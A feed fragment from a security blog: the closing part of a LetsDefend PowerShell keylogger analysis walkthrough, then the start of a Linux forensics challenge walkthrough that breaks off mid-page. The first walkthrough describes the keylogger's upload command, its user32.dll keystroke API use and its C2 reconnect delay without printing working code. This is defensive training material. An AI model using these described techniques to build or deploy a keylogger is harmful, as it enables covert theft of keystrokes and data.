(max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/828b4db151a15b975b0db2a8b2e80aeb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-command-used-by-the-script-to-uploaddata&#34;&gt;Question 5: What is the command used by the script to upload data?&#xA;&lt;/h3&gt;&lt;p&gt;The next command we need to locate is the one used to upload data. We can find a clue on &lt;strong&gt;Line 215&lt;/strong&gt;, which references an &lt;code&gt;upload:&lt;/code&gt; command.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/15e6c61eb41c33e5591f7adb6f48368d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the upload command in the script&lt;/p&gt;&#xA;&lt;p&gt;While we probably already figured this out, the presence of an &lt;em&gt;upload mechanism&lt;/em&gt; suggests that this script supports some method to exfiltrate data from a victim environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/91f9fbccc6be4fdea7aa5734290573a2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-regex-used-by-the-script-to-filter-ip-addresses&#34;&gt;Question 6: What is the regex used by the script to filter IP addresses?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, time to shift gears a little. The next thing we need to find is the &lt;strong&gt;regex&lt;/strong&gt; the script uses to filter specific IP addresses. While it might seem like some kind of IT magic, regex is essentially a way to define patterns or sequences and match those in a data set.&lt;/p&gt;&#xA;&lt;p&gt;On &lt;strong&gt;Line 86&lt;/strong&gt;, we&amp;rsquo;ll find an example using the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/nettcpip/get-netipaddress?view=windowsserver2025-ps&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Get-NetIPAddress&lt;/em&gt;&lt;/a&gt; function, which is used to enumerate the IP address configuration on the victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/e5924f5d419c189df8e94764c5ddcf82_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the IP filtering regex in the script&lt;/p&gt;&#xA;&lt;p&gt;Importantly for &lt;strong&gt;Question 6&lt;/strong&gt;, look at the &lt;code&gt;-nomatch&lt;/code&gt; argument and the pattern next to it — this is the regex we&amp;rsquo;re looking for:&lt;/p&gt;&#xA;&lt;p&gt;^(127.|169.254.)&lt;/p&gt;&#xA;&lt;p&gt;This means the pattern is used to exclude IP addresses that match strings typically associated with local or non-routable addresses, and don&amp;rsquo;t offer much tactical value to an attacker trying to gather information about a network.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;127.&lt;/code&gt; is commonly used for &lt;em&gt;loopback addresses&lt;/em&gt; like &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;169.254.&lt;/code&gt; is used for &lt;em&gt;link-local addresses&lt;/em&gt; assigned when DHCP fails&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/927bf86efbf41b7330246fbd2a9272f2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-dll-imported-by-the-script-to-call-keylogging-apis&#34;&gt;Question 7: What is the DLL imported by the script to call keylogging APIs?&#xA;&lt;/h3&gt;&lt;p&gt;To answer this one, we need to identify the DLL the script imports to access the APIs used by the keylogger.&lt;/p&gt;&#xA;&lt;p&gt;Jump back to &lt;strong&gt;Line 94&lt;/strong&gt;, where we first found evidence of the keylogger. If we keep reading through the function, we&amp;rsquo;ll see that on &lt;strong&gt;lines 99, 101, 103, and 105&lt;/strong&gt;, the script imports &lt;code&gt;user32.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/49bef76568998555c059788fdfd87855_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the DLLImport in the script&lt;/p&gt;&#xA;&lt;p&gt;This DLL is part of Windows and is used to access functions like &lt;code&gt;GetAsyncKeyState&lt;/code&gt; (&lt;strong&gt;Line 119&lt;/strong&gt;) to monitor keystrokes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/ecfdca0ed5e0e9a1a9bb0a8056d1d3af_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-how-many-seconds-does-the-script-wait-before-re-establishing-a-connection&#34;&gt;Question 8: How many seconds does the script wait before re-establishing a connection?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the final question! This time, we need to determine the waiting period the script uses to re-establish a connection to the attacker&amp;rsquo;s command and control server.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with something easy and search for the keyword &lt;code&gt;&amp;quot;Seconds&amp;quot;&lt;/code&gt;. There are several wait period commands (&lt;code&gt;Start-Sleep&lt;/code&gt;), so we&amp;rsquo;ll need to identify the correct one.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/27b71ab39beee5afcbee908819bf8240_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the Start-Sleep values in the script&lt;/p&gt;&#xA;&lt;p&gt;Which one to choose? Fortunately, we have some handy comment lines to guide us — though they&amp;rsquo;re in French. A quick translation using something like &lt;strong&gt;Google Translate&lt;/strong&gt; gives us:&lt;/p&gt;&#xA;&lt;p&gt;Attendre avant de tenter une reconnexion = Wait before attempting to reconnect&#xA;Attendre avant de redÃ©marrer complÃ¨tement = Wait before restarting completely&lt;/p&gt;&#xA;&lt;p&gt;While it might seem like &amp;ldquo;reconnect&amp;quot;is the right match for &amp;ldquo;re-establishing&amp;quot;the connection, the value we&amp;rsquo;re actually looking for is the second one on &lt;strong&gt;Line 276&lt;/strong&gt;. This line pauses the &lt;code&gt;Establish-Connection&lt;/code&gt; function in the event of an error, ensuring the script tries again after a delay of 60 seconds.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;578px&#34; data-flex-grow=&#34;240&#34; height=&#34;332&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/b2f732a57fd9d6072632ae8ccb6080da_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the Start-Sleep value in the script&lt;/p&gt;&#xA;&lt;p&gt;This pause helps maintain persistence by giving the script time to recover and reattempt communication with the C2 infrastructure. Now that we&amp;rsquo;ve identified the correct &lt;code&gt;Start-Sleep&lt;/code&gt; value, it&amp;rsquo;s time to wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/04947474ff6a491e6d2afb11c47f7b5b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;bonus-optional&#34;&gt;Bonus (Optional):&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s embark on a short side quest to enrich our findings and put everything together. Why not check an online malware analysis platform like &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; to see if this sample has been submitted before?&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll collect the file hash of the &lt;code&gt;cha&lt;/code&gt; sample by opening &lt;em&gt;PowerShell&lt;/em&gt; within the &lt;em&gt;LetsDefend&lt;/em&gt; VM and navigating to the &lt;code&gt;ChallengeFile&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;Then, use the &lt;code&gt;Get-FileHash&lt;/code&gt; command to grab the SHA256 hash of the file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;242&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/159e0217e606df25c141283b2376154f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell: Grabbing the script&amp;rsquo;s file hash&lt;/p&gt;&#xA;&lt;p&gt;181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f&lt;/p&gt;&#xA;&lt;p&gt;Next, open your browser and head to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com,&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com,&lt;/a&gt; then paste the SHA256 hash into the search bar.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1254px&#34; data-flex-grow=&#34;522&#34; height=&#34;153&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/48079a842c8ce52f429e115702c6a7bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Overview of the sample&amp;rsquo;s results&lt;/p&gt;&#xA;&lt;p&gt;From here, we can confirm our findings and dig into the additional context provided by &lt;em&gt;VirusTotal&lt;/em&gt;&amp;rsquo;s analysis and community. The purpose of this exercise is to gain some experience and offer a different perspective to assist in triage — not to replace the manual analysis skills we flexed in this challenge.&lt;/p&gt;&#xA;&lt;p&gt;In the real world, time, pressure, experience, and obfuscation are all factors that can detract from hands-on analysis. Knowing when to leverage additional tools can make all the difference.&lt;/p&gt;&#xA;&lt;p&gt;Quest completed!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;590px&#34; data-flex-grow=&#34;246&#34; height=&#34;325&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/bf2a02ba68d02753bbef269d6477e1ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Challenge completed! By using &lt;em&gt;Notepad++&lt;/em&gt; to analyze the malware sample, we were able to determine that we&amp;rsquo;re looking at a PowerShell keylogger capable of capturing, collecting, and exfiltrating data from a victim&amp;rsquo;s device. Yikes!&lt;/p&gt;&#xA;&lt;p&gt;As we worked through the investigation, we uncovered how the malware operates and what optional modules it could weaponize. To confirm our findings, we turned to &lt;em&gt;VirusTotal&lt;/em&gt; for additional context. With all the pieces in place, it&amp;rsquo;s time to write up our report and close out our investigation. Nice Job!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/powershell-keylogger&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another engaging challenge. This one was especially fun to work through — while it&amp;rsquo;s simple enough to answer the guided questions, it invites a much deeper investigation to fully understand what the malware is doing and what it&amp;rsquo;s capable of. I always like to keep script analysis challenges in the rotation because each one is a little different and offers a great learning experience every time.&lt;/p&gt;&#xA;&lt;p&gt;While we wrapped up with &lt;em&gt;VirusTotal&lt;/em&gt;, I still believe manual analysis skills are fundamental. They help build real working knowledge and prepare us to respond effectively during incident response. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/powershell-keylogger&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/powershell-keylogger&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;WhatPortIs — 9050:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://whatportis.com/search/9050&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Search Network Ports | WhatPortIs — Network Port Database&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — TA0003 — Persistence:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/tactics/TA0003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Get-NetIPAddress:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/nettcpip/get-netipaddress?view=windowsserver2025-ps&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/nettcpip/get-netipaddress?view=windowsserver2025-ps&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Linux Forensics Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/</link>
            <pubDate>Sun, 13 Jul 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/bfffa48e5aa0d5038ada32a4fe0616db_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Linux Forensics Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--linux-forensics-challenge-walkthrough&#34;&gt;LetsDefend — Linux Forensics Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-linux-dfir-challenge-using-built-inlogs&#34;&gt;A Linux DFIR Challenge Using Built-In Logs.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;329&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/bfffa48e5aa0d5038ada32a4fe0616db_MD5.png&#34; width=&#34;630&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/linux-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/linux-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/linux-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Linux Forensics&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right spot. This challenge is a fantastic introduction to digital forensics and incident response (&lt;em&gt;DFIR&lt;/em&gt;) on Linux and provides a solid foundational overview of some of the commonly used logs.&lt;/p&gt;&#xA;&lt;p&gt;But first, let&amp;rsquo;s check out the scenario below:&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An ex-employee, who appears to hold a grudge against their former boss, is displaying suspicious behavior. We seek assistance in uncovering their intentions or plans.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Image file location: /home/analyst/hackerman.7z&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Yikes — not good! But we have our orders: investigate the ex-employee&amp;rsquo;s workstation and search for evidence of how the user was planning to retaliate against their boss. Got it.&lt;/p&gt;&#xA;&lt;p&gt;To perform this investigation, we&amp;rsquo;re learning hands-on and doing everything manually. We&amp;rsquo;ll be leveraging tools built into Linux and scouring the available logging to understand the activities of the former employee and figure out what their plans were.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-md5-hash-of-theimage&#34;&gt;Question 1: What is the MD5 hash of the image?&#xA;&lt;/h3&gt;&lt;p&gt;This challenge gives us two options for accessing the challenge file: either through the &lt;strong&gt;LetsDefend&lt;/strong&gt; virtual machine via your web browser, or by directly downloading the image file. For this walkthrough, I&amp;rsquo;ll be using the &lt;em&gt;LetsDefend&lt;/em&gt; virtual machine, which is Linux-based, and a great way to maintain a safe environment for our analysis.&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s kick off this investigation by launching the virtual machine and navigating to the location of the image file in the &lt;code&gt;/home/analyst&lt;/code&gt; directory. Go ahead and extract the &lt;code&gt;hackerman.7z&lt;/code&gt; file, which contains the disk image file: &lt;code&gt;hackerman.img&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;312px&#34; data-flex-grow=&#34;130&#34; height=&#34;615&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/c2d47590016852c2965eee5884b45293_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend VM: Navigating to the location of the challenge file&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we need to determine the MD5 file hash of &lt;code&gt;hackerman.img&lt;/code&gt;. We can do that using the following command from the terminal:&lt;/p&gt;&#xA;&lt;p&gt;md5sum hackerman.img&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1695px&#34; data-flex-grow=&#34;706&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/9488f6ee72fcca5495c9d097be438ecf_MD5.png&#34; width=&#34;650&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Determining the MD5 hash&lt;/p&gt;&#xA;&lt;p&gt;6be42bac99e0fff42ca9467b035859a3&lt;/p&gt;&#xA;&lt;p&gt;This command calculates the MD5 hash value of the file — which is exactly what we need to answer the first question!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/095c3541f4628eee6591d5ad643885e1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-sha256-hash-of-the-file-in-the---&#34;&gt;Question 2: What is the SHA256 hash of the file in the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;hackerman&amp;quot;&#xA;desktop?&lt;/p&gt;&#xA;&lt;p&gt;To start digging into the image file, we need to first mount it so we can explore its contents. We&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/jammy/man8/kpartx.8.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;kpartx&lt;/strong&gt;&lt;/a&gt; to mount the image and create a device map, which auto-mounts and appears like an attached drive in the file manager.&lt;/p&gt;&#xA;&lt;p&gt;Open the terminal and run the following command. The &lt;code&gt;-a&lt;/code&gt; flag mounts all partitions, and &lt;code&gt;-v&lt;/code&gt; gives us verbose output. In this example, I&amp;rsquo;ve launched the terminal from within the &lt;code&gt;/home/analyst&lt;/code&gt; folder:&lt;/p&gt;&#xA;&lt;p&gt;kpartx -av hackerman.img&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;375px&#34; data-flex-grow=&#34;156&#34; height=&#34;512&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/d0b93249b268548ce8fafa911dc91e71_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend VM: Using kpartx in the terminal and finding the mounted volume&lt;/p&gt;&#xA;&lt;p&gt;Once the partitions are mapped, navigate to the &lt;em&gt;hackerman&lt;/em&gt; user&amp;rsquo;s desktop within the mounted volume.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;311px&#34; data-flex-grow=&#34;129&#34; height=&#34;555&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/d07aae157b58bb581c40367081f559b4_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend VM: Identifying the file in the hackerman desktop&lt;/p&gt;&#xA;&lt;p&gt;Now that we see the super hackery image, we need to collect the file hash — this time using SHA256 instead of MD5. We can do that with the &lt;code&gt;sha256sum&lt;/code&gt; command:&lt;/p&gt;&#xA;&lt;p&gt;sha256sum hackerman.jpeg&lt;/p&gt;&#xA;&lt;p&gt;3c76e6c36c18ea881e3a681baa51822141c5bdbfef73c8f33c25ce62ea341246&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1015px&#34; data-flex-grow=&#34;423&#34; height=&#34;189&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/e07efd56bf4a726fdfc7564a4a16765f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-command-did-the-user-use-to-install-googlechrome&#34;&gt;Question 3: What command did the user use to install Google Chrome?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have access to the contents of the disk image, we can start investigating the attacker&amp;rsquo;s actions. One extremely robust and common source of forensic artifacts on Linux is the &lt;code&gt;.bash_history&lt;/code&gt; file. This file stores the commands run within the shell or terminal, making it extremely valuable for user behavior context.&lt;/p&gt;&#xA;&lt;p&gt;To view the history within the mounted volume, open a terminal in the &lt;code&gt;/home/hackerman&lt;/code&gt; folder and use the &lt;code&gt;cat&lt;/code&gt; command to print the contents of the &lt;code&gt;.bash_history&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;p&gt;cat .bash_history&lt;/p&gt;&#xA;&lt;p&gt;&lt;img 